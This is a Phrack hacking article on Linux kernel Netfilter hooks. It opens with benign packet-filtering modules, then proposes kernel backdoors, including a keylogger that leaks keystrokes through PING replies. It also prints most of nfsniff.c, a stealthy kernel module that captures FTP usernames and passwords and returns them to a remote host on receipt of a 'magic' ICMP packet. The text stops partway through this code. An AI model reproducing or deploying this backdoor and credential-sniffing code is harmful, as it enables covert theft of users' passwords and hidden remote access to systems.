==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x0d of 0x0f

|=------------=[ Hacking the Linux Kernel Network Stack ]=---------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ bioforge <[email protected]> ]=--------------------=|

Table of Contents

1 - Introduction
  1.1 - What this document is
  1.2 - What this document is not
2 - The various Netfilter hooks and their uses
  2.1 - The Linux kernel's handling of packets
  2.2 - The Netfilter hooks for IPv4
3 - Registering and unregistering Netfilter hooks
4 - Packet filtering operations with Netfilter
  4.1 - A closer look at hook functions
  4.2 - Filtering by interface
  4.3 - Filtering by address
  4.4 - Filtering by TCP port
5 - Other possibilities for Netfilter hooks
  5.1 - Hidden backdoor daemons
  5.2 - Kernel based FTP password sniffer
    5.2.1 - The code... nfsniff.c
    5.2.2 - getpass.c
6 - Hiding network traffic from Libpcap
  6.1 - SOCK_PACKET, SOCK_RAW and Libpcap
  6.2 - Wrapping the cloak around the dagger
7 - Conclusion
A - Light-Weight Fire Wall
  A.1 - Overview
  A.2 - The source... lwfw.c
  A.3 - lwfw.h
B - Code for section 6


--[ 1 - Introduction

This article  describes  how  quirks (not necessarily  weaknesses)  in the
Linux network stack can be used for various purposes, nefarious or otherw-
ise.  Presented here will be a  discussion on using  seemingly  legitimate
Netfilter hooks for backdoor communications and also a technique to hide
such traffic from a Libpcap based sniffer running on the local machine.

Netfilter  is  a   subsystem  in the Linux 2.4  kernel.   Netfilter  makes
such  network  tricks as  packet  filtering,  network address  translation
(NAT) and connection tracking possible through the use of various hooks in
the kernel's network code. These hooks are places that kernel code, either
statically  built  or  in  the form  of a loadable  module,  can  register
functions to be called for specific  network events. An example of such an
event is the reception of a packet.


----[ 1.1 - What this document is

This document discusses  how a module writer can make use of the Netfilter
hooks  for whatever  purposes and also how  network traffic  can be hidden
from a Libpcap application.  Although  Linux 2.4 supports  hooks for IPv4,
IPv6 and DECnet,  only IPv4 will be discussed  in this document.  However,
most of the IPv4 content can be applied to the other protocols. As an aide
to teaching, a working kernel module that  provides basic packet filtering
is provided in Appendix A.  Any  development/experimentation done for this
document  was done on an  Intel machine running  Linux 2.4.5.  Testing the
behaviour  of  Netfilter  hooks was done  using  the  loopback device,  an
Ethernet device and a modem Point-to-Point interface.

This  document  is also  written for  my benefit  in an  attempt  to  fully
understand Netfilter.  I do not guarantee that  any code  accompanying this
document is 100% error free  but I have  tested all  code provided here.  I
have suffered  the kernel  faults so hopefully  you won't have to.  Also, I
do  not  accept any  responsibility  for  damages  that may  occur  through
following this document. It is expected that the reader be comfortable with
the C   programming language and have some experience with  Loadable Kernel
Modules.

If I have  made a mistake in something presented here then please let me
know. I am also open to suggestions on either improving this document or
other nifty Netfilter tricks in general.


----[ 1.2 - What this document is not

This document is not a complete ins-and-outs reference for Netfilter. It
is also *not* a reference for the iptables command. If you want to learn
more about the iptables command, consult the man pages.

So let's get started with an introduction to using Netfilter...


--[ 2 - The various Netfilter hooks and their uses
----[ 2.1 - The Linux kernel's handling of packets

As much as I would love to go into the gory details of Linux's handling of
packets  and the events  preceeding  and following  each Netfilter hook, I
won't. The simple  reason is that  Harald Welte has already written a nice
document  on  the subject,  his Journey  of a Packet Through the Linux 2.4
Network Stack  document. To learn  more on Linux's  handling of packets, I
strongly  suggest  that  you  read this  document  as well.  For now, just
understand that as a packet moves through the Linux kernel's network stack
it crosses  several hook  locations where packets can be analysed and kept
or discarded. These are the Netfilter hooks.


------[ 2.2 The Netfilter hooks for IPv4

Netfilter defines five hooks for IPv4.  The declaration of the symbols for
these can be  found in  linux/netfilter_ipv4.h.  These hooks are displayed
in the table below:

Table 1: Available IPv4 hooks

   Hook                 Called
NF_IP_PRE_ROUTING   After sanity checks, before routing decisions.
NF_IP_LOCAL_IN      After routing decisions if packet is for this host.
NF_IP_FORWARD       If the packet is destined for another interface.
NF_IP_LOCAL_OUT     For packets coming from local processes on
		    their way out.
NF_IP_POST_ROUTING  Just before outbound packets "hit the wire".

The  NF_IP_PRE_ROUTING  hook  is called  as the first  hook after a packet
has been received.  This is the hook that the module presented later  will
utilise. Yes the other hooks are  very  useful  as  well, but  for now  we
will  focus  only on NF_IP_PRE_ROUTING.

After hook  functions have done  whatever  processing they need to do with
a packet they must  return one of the  predefined  Netfilter return codes.
These codes are:

Table 2: Netfilter return codes
Return Code          Meaning
  NF_DROP        Discard the packet.
  NF_ACCEPT      Keep the packet.
  NF_STOLEN      Forget about the packet.
  NF_QUEUE       Queue packet for userspace.
  NF_REPEAT      Call this hook function again.


The   NF_DROP  return  code  means  that  this  packet  should  be  dropped
completely  and  any  resources  allocated  for  it  should  be   released.
NF_ACCEPT tells Netfilter  that so far the  packet is  still acceptable and
that it  should move to the  next stage of the network stack.  NF_STOLEN is
an interesting one because it tells Netfilter to "forget" about the packet.
What this  tells Netfilter is  that the hook  function will take processing
of this packet from  here and that Netfilter  should drop all processing of
it.  This does  not  mean,  however, that  resources  for  the  packet  are
released. The packet and it's respective sk_buff structure are still valid,
it's just that  the hook  function has  taken  ownership of the packet away
from  Netfilter.  Unfortunately  I'm  not  exactly  clear on  what NF_QUEUE
really  does  so  for  now  I won't  discuss  it.  The  last return  value,
NF_REPEAT requests that Netfilter calls the hook  function again. Obviously
one must be careful using NF_REPEAT so as to avoid an endless loop.


--[ 3 - Registering and unregistering Netfilter hooks

Registration of a  hook  function is a very  simple  process  that revolves
around  the  nf_hook_ops   structure,  defined  in  linux/netfilter.h.  The
definition of this structure is as follows:

          struct nf_hook_ops {
                  struct list_head list;

                  /* User fills in from here down. */
                  nf_hookfn *hook;
                  int pf;
                  int hooknum;
                  /* Hooks are ordered in ascending priority. */
                  int priority;
          };

The  list  member of  this  structure is  used to  maintain  the  lists  of
Netfilter hooks and has no importance for hook registration as far as users
are concerned.  hook is a  pointer to a  nf_hookfn  function.  This is  the
function  that will be  called  for  the  hook.  nf_hookfn  is  defined  in
linux/netfilter.h as well. The pf field specifies a protocol family.  Valid
protocol families are available from linux/socket.h but for IPv4 we want to
use PF_INET.  The  hooknum  field specifies the  particular hook to install
this function  for and is one of the values listed in table 1. Finally, the
priority field specifies where in the order of execution this hook function
should   be   placed.   For  IPv4,   acceptable  values   are   defined  in 
linux/netfilter_ipv4.h  in the  nf_ip_hook_priorities  enumeration. For the
purposes of demonstration modules we will be using NF_IP_PRI_FIRST.

Registration  of a  Netfilter hook  requires using a  nf_hook_ops structure
with the nf_register_hook() function. nf_register_hook() takes the  address
of an nf_hook_ops structure and returns an integer value.  However, if  you
actually   look  at   the  code   for  the  nf_register_hook()  function in
net/core/netfilter.c, you will notice that it only ever returns a  value of
zero. Provided below is example code that simply registers a function  that
will drop all  packets that  come  in.  This code  will also  show  how the
Netfilter return values are interpreted.

Listing 1. Registration of a Netfilter hook
/* Sample code to install a Netfilter hook function that will
 * drop all incoming packets. */

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;

/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    return NF_DROP;           /* Drop ALL packets */
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

    nf_register_hook(&nfho);
    
    return 0;
}
	
/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

That's all there is to it.  From the code given in listing 1 you can  see
that  unregistering  a  Netfilter  hook is a  simple  matter  of  calling
nf_unregister_hook() with  the address of the same structure  you used to
register the hook.


--[ 4 - Basic packet filtering techniques with Netfilter
----[ 4.1 - A closer look at hook functions

Now  its  time to  start looking  at what  data gets  passed  into  hook
functions  and how that data  an be used to make filtering decisions. So
let's look more  closely at  the prototype  for nf_hookfn functions. The
prototype is given in linux/netfilter.h as follows:

	  typedef unsigned int nf_hookfn(unsigned int hooknum,
                                         struct sk_buff **skb,
                                         const struct net_device *in,
                                         const struct net_device *out,
                                         int (*okfn)(struct sk_buff *));

The first argument to  nf_hookfn  functions  is a value specifying one of
the hook types given in table 1. The second argument is more interesting.
It is a pointer to a pointer to a  sk_buff  structure, the structure used
by  the network  stack to describe packets.  This structure is defined in
linux/skbuff.h  and due to its  size, I shall only highlight some of it's
more interesting fields here.

Possibly the  most useful fields out of  sk_buff structures are the three
unions that describe the transport header (ie. UDP, TCP, ICMP, SPX),  the
network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet
or RAW). The names of these unions are h, nh and mac respectively.  These
unions contain several structures, depending on what protocols are in use
in a  particular packet.  One should note that  the transport  header and
network header may very well point to the same  location in memory.  This
is  the  case for TCP packets where  h  and  nh  are both  considered  as
pointers  to IP header structures.  This means  that attempting  to get a
value from h->th thinking it's pointing to the TCP header will  result in
false results because h->th will actually be pointing to the  IP  header,
just like nh->iph.

Other  fields of  immediate  interest are the  len and  data fields.  len
specifies the total length of the packet data beginning at data.  So  now
we know how to access  individual protocol  headers and  the  packet data
itself  from  a   sk_buff  structure.   What other  interesting  bits  of
information are available to Netfilter hook functions? 

The  two  arguments  that  come  after   skb   are pointers to net_device
structures.   net_device  structures are  what the  Linux  kernel uses to
describe network interfaces of all sorts.  The first of these structures,
in,  is  used  to  describe the  interface the  packet  arrived on.   Not
surprisingly, the  out  structure  describes  the interface the packet is
leaving on.  It is  important to  realise that  usually only one of these
structures will be provided.  For instance, in will only be provided  for
the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided
for the  NF_IP_LOCAL_OUT  and  NF_IP_POST_ROUTING  hooks. At this stage I
haven't  tested  which  of  these  structures  are   available   for  the
NF_IP_FORWARD hook but if you make sure the pointers  are non-NULL before
attempting to  dereference  them you  should be fine.

Finally,  the last item passed into a hook function is a function pointer
called  okfn  that takes a  sk_buff  structure as  its only  argument and
returns an integer. I'm not too sure on what this function does.  Looking
in  net/core/netfilter.c  there are two places where this okfn is called.
These  two places are  in the functions  nf_hook_slow() and nf_reinject()
where at a  certain place this  function is called on a  return value  of
NF_ACCEPT from a Netfilter hook. If anybody has more information on  okfn
please let me know.

Now that we've looked at the most interesting and useful bits of informa-
tion that our hook functions receive, it's time to look at how we can use
that information to filter packets in a variety of ways.


----[ 4.2 - Filtering by interface

This  would have to  be  the  simplest  filtering  technique  we  can do.
Remember those net_device structures  our hook  function received?  Using
the name field from the relevant  net_device  structure allows us to drop
packets depending on their source interface or destination  interface. To
drop all packets that  arrive  on interface  eth0 all  one has  to  do is
compare the value of  in->name  with "eth0".  If the names match then the
hook function simply returns NF_DROP and the packet is destroyed. It's as
easy as that. Sample code to do this is provided in listing 2 below. Note
that the Light-Weight FireWall module will  provide  simple  examples  of
all the  filtering  methods  presented here.  It also  includes an  IOCTL
interface and application to change its behaviour dynamically.

Listing 2. Filtering packets based on their source interface

/* Sample code to install a Netfilter hook function that will
 * drop all incoming packets on an interface we specify */
 #define __KERNEL__
 #define MODULE
 #include <linux/module.h>
 #include <linux/kernel.h>
 #include <linux/netdevice.h>
 #include <linux/netfilter.h>
 #include <linux/netfilter_ipv4.h>
 /* This is the structure we shall use to register our function */
  static struct nf_hook_ops nfho;

 /* Name of the interface we want to drop packets from */
  static char *drop_if = "lo";

 /* This is the hook function itself */
  unsigned int hook_func(unsigned int hooknum,
                         struct sk_buff **skb,
                         const struct net_device *in,
                         const struct net_device *out,
                         int (*okfn)(struct sk_buff *))
{
    if (strcmp(in->name, drop_if) == 0) {
        printk("Dropped packet on %s...\n", drop_if);
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook     = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */
  
    nf_register_hook(&nfho);
    
    return 0;
}
	
/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

Now isn't that simple? Next, let's have a look at filtering based on IP
addresses.


----[ 4.3 - Filtering by address

As with filtering packets by their interface, filtering packets by their
source  or  destination  IP address  is very  simple.  This  time we are
interested in the sk_buff structure. Now remember that the  skb argument
is a pointer to a pointer to a sk_buff structure.  To avoid running into
problems it is good practice to declare a seperate pointer to a  sk_buff
structure  and assign the value pointed to by skb to this newly declared
pointer. Like so:

      struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /

Now you  only have to  dereference once  to access  items in the structure.
Obtaining the IP header for a packet is done using the network layer header
from the the sk_buff structure. This header is contained in a union and can
be accessed as sk_buff->nh.iph. The function in listing 3  demonstrates how
to check the source IP address  of a received packet  against an address to
deny  when given a  sk_buff  for the  packet.  This  code has  been  pulled
directly  from  LWFW.  The  only  difference  is that  the update  of  LWFW
statistics has been removed.

Listing 3. Checking source IP of a received packet

 	  unsigned char *deny_ip = "\x7f\x00\x00\x01";  /* 127.0.0.1 */
	  
	  ...

          static int check_ip_packet(struct sk_buff *skb)
          {
              /* We don't want any NULL pointers in the chain to
	       * the IP header. */
              if (!skb )return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
          
              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { 
	          return NF_DROP;
              }

              return NF_ACCEPT;
          }

Now if the source address matches the address we want to drop packets from
then the  packet is  dropped.  For this  function to work as presented the
value of  deny_ip  should be  stored  in  Network Byte Order  (Big-endian,
opposite of Intel).  Although  it's  unlikely that  this  function will be
called  with a  NULL pointer  for it's  argument,  it never  hurts to be a
little paranoid.  Of course if an  error does occur then the function will
return NF_ACCEPT so that  Netfilter  can continue  processing  the packet.
Listing 4 presents the simple module  used to  demonstrate interface based
filtering  changed so  that it drops packets that  match a  particular  IP
address.

Listing 4. Filtering packets based on their source address
          /* Sample code to install a Netfilter hook function that will
          * drop all incoming packets from an IP address we specify */

          #define __KERNEL__
          #define MODULE

          #include <linux/module.h>
          #include <linux/kernel.h>
          #include <linux/skbuff.h>
          #include <linux/ip.h>                  /* For IP header */
          #include <linux/netfilter.h>
          #include <linux/netfilter_ipv4.h>

          /* This is the structure we shall use to register our function */
          static struct nf_hook_ops nfho;

          /* IP address we want to drop packets from, in NB order */
          static unsigned char *drop_ip = "\x7f\x00\x00\x01";

          /* This is the hook function itself */
          unsigned int hook_func(unsigned int hooknum,
                                 struct sk_buff **skb,
                                 const struct net_device *in,
                                 const struct net_device *out,
                                 int (*okfn)(struct sk_buff *))
          {
              struct sk_buff *sb = *skb;

              if (sb->nh.iph->saddr == drop_ip) {
                  printk("Dropped packet from... %d.%d.%d.%d\n",
		  	  *drop_ip, *(drop_ip + 1),
			  *(drop_ip + 2), *(drop_ip + 3));
                  return NF_DROP;
              } else {
                  return NF_ACCEPT;
              }
          }

          /* Initialisation routine */
          int init_module()
          {
              /* Fill in our hook structure */
              nfho.hook     = hook_func;
              /* Handler function */
              nfho.hooknum  = NF_IP_PRE_ROUTING; /* First for IPv4 */
              nfho.pf       = PF_INET;
              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */
          
              nf_register_hook(&nfho);

              return 0;
          }
          
	  /* Cleanup routine */
          void cleanup_module()
          {
              nf_unregister_hook(&nfho);
          }


----[ 4.4 - Filtering by TCP port

Another simple  rule to  implement is the  filtering of  packets based on
their TCP destination port.  This is only a bit more fiddly than checking
IP addresses because  we need  to  create  a  pointer  to  the TCP header
ourselves.  Remember what was discussed earlier about  transport  headers
and  network  headers?  Getting a pointer  to the TCP header  is a simple
matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h)
and  pointing after the IP header in our packet data.  Perhaps an example
would help.  Listing 5 presents code to check if the destination TCP port
of a packet matches some  port we want to drop all  packets for.  As with
listing 3, this was taken from LWFW.

Listing 5. Checking the TCP destination port of a received packet
          unsigned char *deny_port = "\x00\x19";   /* port 25 */

	  ...

          static int check_tcp_packet(struct sk_buff *skb)
          {
              struct tcphdr *thead;

              /* We don't want any NULL pointers in the chain
	       * to the IP header. */
              if (!skb ) return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;

              /* Be sure this is a TCP packet first */
              if (skb->nh.iph->protocol != IPPROTO_TCP) {
                  return NF_ACCEPT;
              }

              thead = (struct tcphdr *)(skb->data +
                                       (skb->nh.iph->ihl * 4));

              /* Now check the destination port */
              if ((thead->dest) == *(unsigned short *)deny_port) {
                  return NF_DROP;
              }
          
	      return NF_ACCEPT;
          }

Very simple indeed. Don't forget that for this function to work deny_port
should be in network byte order.  That's it for packet filtering  basics,
you should have a fair understanding of how to get to the information you
want for a specific packet.  Now it's time to move onto more  interesting
stuff.


--[ 5 - Other possibilities for Netfilter hooks

Here I'll  make some  proposals for  other cool stuff to do with Netfilter
hooks. Section 5.1 will simply provide food for thought, while section 5.2
shall  discuss and  provide working code for a kernel based  FTP  password
sniffer with  remote password  retrieval that really does work. It fact it
works so well it scares me, and I wrote it.

----[ 5.1 - Hidden backdoor daemons

Kernel module  programming would have  to be one  of the  most interesting
areas of development for Linux.  Writing code in the kernel means  you are
writing code in a place  where you are  limited only by  your imagination.
From a malicous point of  view you can  hide files,  processes, and do all
sorts of cool things that  any  rootkit worth its salt is capable of. Then
from a not-so-malicious point of view (yes people  with this point of view
do exist) you can hide  files,  processes and do all sorts of cool things.
The kernel really is a fascinating place.

Now with all the power made available to a kernel level  programmer, there
are  a lot of possibilities.  Possibly one  of the most  interesting  (and
scary for  system  administrators) is  the possibility of backdoors  built
right into the kernel.  Afterall, if a  backdoor doesn't  run as a process
then how do you know it's running? Of course there are ways of making your
kernel  cough-up  such backdoors,  but they are by  no means  as easy  and
simple as running ps.  Now the idea of putting backdoor code into a kernel
is not new.  What I'm proposing  here, however, is placing  simple network
services as kernel backdoors using, you guessed it, Netfilter hooks.

If  you have the  necessary skills and willingness to crash your kernel in
the name of experimentation,  then you can  construct  simple  but  useful
network services located  entirely in the  kernel and accessible remotely.
Basically a  Netfilter  hook could  watch incoming  packets  for a "magic"
packet  and  when  that magic packet  is received,  do something  special.
Results can then be sent from the Netfilter hook and the hook function can
return NF_STOLEN so that the received "magic" packet goes no further. Note
however, that when sending in such a fassion, outgoing packets will  still
be visible on the outbound Netfilter hooks. Therefore userspace is totally
unaware  that  the magic  packet  ever  arrived, but they  can  still  see
whatever you send out. Beware! Just because a sniffer on a compromised host
can't see the packet, doesn't mean that a sniffer  on an intermediate host
can't see the packet.

kossak  and  lifeline wrote an excellent article for Phrack describing how
such things could  be done by registering  packet  type handlers. Although
this document deals with  Netfilter  hooks I still  suggest reading  their
article  (Issue 55, file 12)  as it is a very  interesting  read with some
very interesting ideas being presented.

So what kind of work  could a  backdoor  Netfilter hook do? Well, here are
some suggestions:
  -- Remote access key-logger. Module logs keystrokes and results are
     sent to a remote host when that host sends a PING request. So a
     stream of keystroke information could be made to look like a steady
     (don't flood) stream of PING replies. Of course one would want to
     implement a simple encryption so that ASCII keys don't show
     themselves immediately and some alert system administrator goes
     "Hang on. I typed that over my SSH session before! Oh $%@T%&!".
  -- Various simple administration tasks such as getting lists of who is
     currently logged onto the machine or obtaining information about
     open network connections.
  -- Not really a backdoor as such, but a module that sits on a network
     perimeter and blocks any traffic suspected to come from trojans,
     ICMP covert channels or file sharing tools like KaZaa.
  -- File transfer "server". I have implemented this idea recently. The
     resulting LKM is hours of fun :).
  -- Packet bouncer. Redirects packets aimed at a special port on the
     backdoored host to another IP host and port and sends packets from
     that host back to the initiator. No process being spawned and best of
     all, no network socket being opened.
  -- Packet bouncer as described above used to communicate with critical
     systems on a network in a semi-covert manner. Eg. configuring routers
     and such.
  -- FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save
     the information until a magic packet comes in asking for it.

Well that's a short list of ideas.  The last one will actually  be discussed
in more detail in the next section as it provides a nice oppurtunity to look
at some more functions internal to the kernel's network code.

----[ 5.2 - Kernel based FTP password sniffer

Presented here is a simple proof-of-concept module that acts as a Netfilter
backdoor. This module will sniff  outgoing FTP packets  looking for a  USER
and  PASS command pair for an FTP server.  When a pair is  found the module
will then wait for  a "magic" ICMP ECHO (Ping) packet big  enough to return
the server's IP  address and the username and password.  Also provided is a
quick hack that sends a magic packet, gets a reply then prints the returned
information. Once a username/password pair has been read from the module it
will then look for the next pair. Note that only one pair will be stored by
the module at one time.  Now that a brief overview  has been provided, it's
time to present a more detailed look at how the module does its thing.

When loaded,  the module's  init_module()  function  simply  registers  two
Netfilter  hooks.  The  first  one is used  to watch  incoming  traffic (on
NF_IP_PRE_ROUTING)  in an attempt  to find a "magic" ICMP packet.  The next
one is used  to watch  traffic leaving the machine  (on NF_IP_POST_ROUTING)
the  module is installed on.  This is where the search  and capture of  FTP
USER  and  PASS  packets happens.  The  cleanup_module()  procedure  simply
unregisters these two hooks.

watch_out()  is the  function used to hook  NF_IP_POST_ROUTING.  Looking at
this  function  you can see  that it is very  simple  in operation.  When a
packet enters the function it is run through various checks to be sure it's
an  FTP  packet.  If it's not  then a  value  of   NF_ACCEPT   is  returned
immediately.  If it is an FTP packet then the module checks to be sure that
it doesn't already have a username and password pair already queued.  If it
does (as signalled by have_pair being non-zero) then  NF_ACCEPT is returned
and the packet can  finally leave the system.  Otherwise,  the  check_ftp()
procedure is called.  This is where  extraction of passwords actually takes
place.  If no previous packets  have been received then the  target_ip  and
target_port variables should be cleared.

check_ftp()  starts by looking for either  "USER",  "PASS" or "QUIT" at the
beginning of the packet.  Note that  PASS commands  will not  be  processed
until a USER command has been processed. This prevents deadlock that occurs
if for  some reason  a PASS command  is received first  and the  connection
breaks before  USER arrives.  Also, if a  QUIT  command arrives  and only a
username has been captured then things are reset so sniffing can start over
on a new connection. When a USER or PASS command arrives, if the  necessary
sanity checks are passed then the argument  to the command  is copied. Just
before check_ftp() finishes under normal operations, it checks to see if it
now has a valid username and password string. If it does then  have_pair is
set and no more  usernames or  passwords will be grabbed  until the current
pair is retrieved.

So far you have seen how this module installs itself and begins looking for
usernames  and passwords  to log.  Now you  shall see what happens when the
specially  formatted "magic" packet arrives.  Pay particular attention here
because this is where the most problems arose during development. 16 kernel
faults if I remember correctly :).  When packets come into the machine with
this module installed, watch_in() checks each one  to see if it is a  magic
packet.  If it does not pass  the necessary  requirements to be  considered
magic,  then  the  packet  is  ignored by  watch_in()  who  simply  returns
NF_ACCEPT.  Notice how one of the  criteria for  magic packets is that they
have enough room  to hold the IP address and username and password strings.
This is done to make sending the reply easier.  A fresh sk_buff  could have
been allocated,  but getting  all of the  necessary  fields  right  can  be
difficult  and you  have to  get them right!  So instead of  creating a new
structure for  our reply  packet, we  simply  tweak  the  request  packet's
structure.  To  return the  packet successfully, several changes need to be
made.  Firstly, the  IP addresses  are swapped  around and  the packet type
field of the  sk_buff  structure (pkt_type)  is changed to  PACKET_OUTGOING
which is defined in  linux/if_packet.h.  The next thing to take  care of is
making sure any link  layer  headers are included.  The data  field of  our
received packet's sk_buff points after the  link layer header and it is the
data field that points to the beginning of  packet data to be  transmitted.
So for interfaces that require the link layer header (Ethernet and Loopback
Point-to-Point is raw) we  point the  data field  to the  mac.ethernet  or
mac.raw structures. To determine what type of interface this packet came in
on, you can check  the value of  sb->dev->type  where  sb is a pointer to a
sk_buff  structure.   Valid  values  for  this   field   can  be  found  in
linux/if_arp.h but the most useful are given below in table 3.

Table 3: Common values for interface types

Type Code        Interface Type
ARPHRD_ETHER     Ethernet
ARPHRD_LOOPBACK  Loopback device
ARPHRD_PPP       Point-to-point (eg. dialup)

The last thing to be done is actually copy the data we want to send in our
reply.  It's now time to send the packet.  The  dev_queue_xmit()  function
takes a pointer to a sk_buff structure as it's only argument and returns a
negative errno  code on a nice  failure.  What do I  mean by nice failure?
Well, if you give dev_queue_xmit() a badly constructed socket buffer  then
you will get a  not-so-nice  failure.  One that comes complete with kernel
fault and kernel stack dump information. See how failures can be splt into
two groups here? Finally, watch_in() returns  NF_STOLEN to tell  Netfilter
to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return
NF_DROP  if you have  called  dev_queue_xmit()!  If you do  then you  will
quickly get a nasty kernel fault.  This is because  dev_queue_xmit()  will
free the passed in socket buffer and Netfilter will attempt to do the same
with an NF_DROPped packet. Well that's enough discussion on the code, it's
now time to actually see the code.


------[ 5.2.1 - The code... nfsniff.c

<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
 * A captured Username and Password pair are sent to a remote host
 * when that host sends a specially formatted ICMP packet. Here we
 * shall use an ICMP_ECHO packet whose code field is set to 0x5B
 * *AND* the packet has enough
 * space after the headers to fit a 4-byte IP address and the
 * username and password fields which are a max. of 15 characters
 * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

 /* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) \
			       - sizeof(struct iphdr) \
			       - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
 * they are queried. Only one USER/PASS pair will be held at one
 * time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;	 /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
 * same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;	       /* Incoming */
struct nf_hook_ops  post_hook;	       /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
 * Looks for the USER and PASS fields and makes sure they both come from
 * the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
   
   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
	     && *(data + i) != '\0' && i < 15) {
	 len++;
	 i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
	return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '\0';	       /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
	     && *(data + i) != '\0' && i < 15) {
	 len++;
	 i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
	return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '\0';	       /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
	 kfree(username);
	 username = NULL;
	 target_port = target_ip = 0;
	 have_pair = 0;
	 
	 return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = skb->nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;		       /* Have a pair. Ignore others until
					* this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
 * FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
			      struct sk_buff **skb,
			      const struct net_device *in,
			      const struct net_device *out,
			      int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
   
   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;		       /* Nope, not TCP */
   
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
   /* Now check to see if it's an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;		       /* Nope, not FTP */
   
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
static unsigned int watch_in(unsigned int hooknum,
			     struct sk_buff **skb,
			     const struct net_device *in,
			     const struct net_device *out,
			     int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;		       /* Where we copy data to in reply */
   unsigned int   taddr;	       /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
